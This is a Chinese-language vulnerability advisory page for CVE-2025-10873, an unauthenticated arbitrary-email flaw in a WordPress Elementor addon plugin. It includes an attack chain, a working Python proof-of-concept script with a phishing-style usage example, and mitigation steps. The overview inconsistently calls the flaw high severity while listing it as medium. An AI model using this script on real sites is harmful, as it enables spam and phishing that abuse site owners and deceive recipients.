IPBUF安全漏洞报告
English
CVE-2025-10873 CVSS 5.3 中危

CVE-2025-10873: ElementInvader Addons for Elementor 未授权邮件发送漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-10873
漏洞类型
缺失授权/未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ElementInvader Addons for Elementor WordPress plugin

相关标签

缺失授权未授权访问WordPress插件漏洞邮件伪造CVE-2025-10873ElementInvaderElementor

漏洞概述

CVE-2025-10873是WordPress插件ElementInvader Addons for Elementor中的一个高危安全漏洞。该插件1.4.1之前的版本存在严重的授权缺失问题,攻击者可以在未登录的情况下利用elementinvader_addons_for_elementor_forms_send_form操作发送任意邮件到任意地址。此漏洞允许未经身份验证的用户滥用服务器资源进行垃圾邮件发送、网络钓鱼攻击或进一步的社会工程学攻击。由于该漏洞无需任何认证即可被利用,且CVSS评分为5.3(中等严重程度),因此对使用该插件的WordPress网站构成实质性安全风险。攻击者可以伪装成网站管理员或信任实体向受害者发送恶意邮件,可能导致品牌形象受损、用户信任度下降,甚至可能成为进一步攻击的跳板。

技术细节

该漏洞的根本原因在于WordPress插件缺少对elementinvader_addons_for_elementor_forms_send_form操作的权限检查。正常情况下,发送邮件功能应当仅对已认证用户开放,且应验证用户是否有权使用邮件功能。然而,该插件在实现表单处理逻辑时未能正确实现权限验证机制。具体来说,插件的forms_send_form函数直接处理传入的邮件参数,包括收件人地址、邮件主题和邮件内容,而没有检查当前用户是否具有执行此操作的权限。攻击者只需构造一个带有目标邮件地址和内容的HTTP请求即可触发邮件发送功能。此漏洞属于CWE-862(缺失授权)类别,CVSS 3.1向量为AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N,表明攻击复杂度低、无需权限和用户交互即可利用。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站是否使用ElementInvader Addons for Elementor插件(版本<1.4.1)
STEP 2
步骤2
攻击者发现wp-admin/admin-ajax.php端点存在elementinvader_addons_for_elementor_forms_send_form操作
STEP 3
步骤3
攻击者构造恶意HTTP POST请求,包含任意收件人地址、发件人地址、邮件主题和内容
STEP 4
步骤4
由于缺少权限验证,服务器直接执行邮件发送操作,使用网站服务器发送邮件
STEP 5
步骤5
攻击者利用此漏洞进行钓鱼攻击、垃圾邮件分发或社会工程学攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-10873 PoC - Unauthenticated Arbitrary Email Sending # Affected: ElementInvader Addons for Elementor < 1.4.1 def send_arbitrary_email(target_url, to_email, from_email, subject, body): """ Send arbitrary emails through vulnerable plugin endpoint """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'elementinvader_addons_for_elementor_forms_send_form', 'post_id': '1', # May vary depending on configuration 'form_data': { 'to_email': to_email, 'from_email': from_email, 'subject': subject, 'body': body } } try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Email sent successfully!") print(f"[*] To: {to_email}") print(f"[*] Subject: {subject}") return True else: print("[-] Failed to send email") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2025-10873.py <target_url> <to_email> <from_email> <subject> <body>") print("Example: python cve-2025-10873.py http://target.com [email protected] [email protected] 'Password Reset' 'Click here'") sys.exit(1) target = sys.argv[1] to_email = sys.argv[2] from_email = sys.argv[3] subject = sys.argv[4] body = sys.argv[5] send_arbitrary_email(target, to_email, from_email, subject, body)

影响范围

ElementInvader Addons for Elementor < 1.4.1

防御指南

临时缓解措施
在官方安全补丁发布之前,可以采取以下临时缓解措施:1)限制或禁用WordPress的邮件发送功能,使用第三方邮件服务替代;2)通过Web应用防火墙规则阻止对admin-ajax.php的异常请求;3)临时禁用ElementInvader Addons for Elementor插件;4)实施IP白名单策略限制管理后台访问;5)监控服务器日志以检测潜在的恶意活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表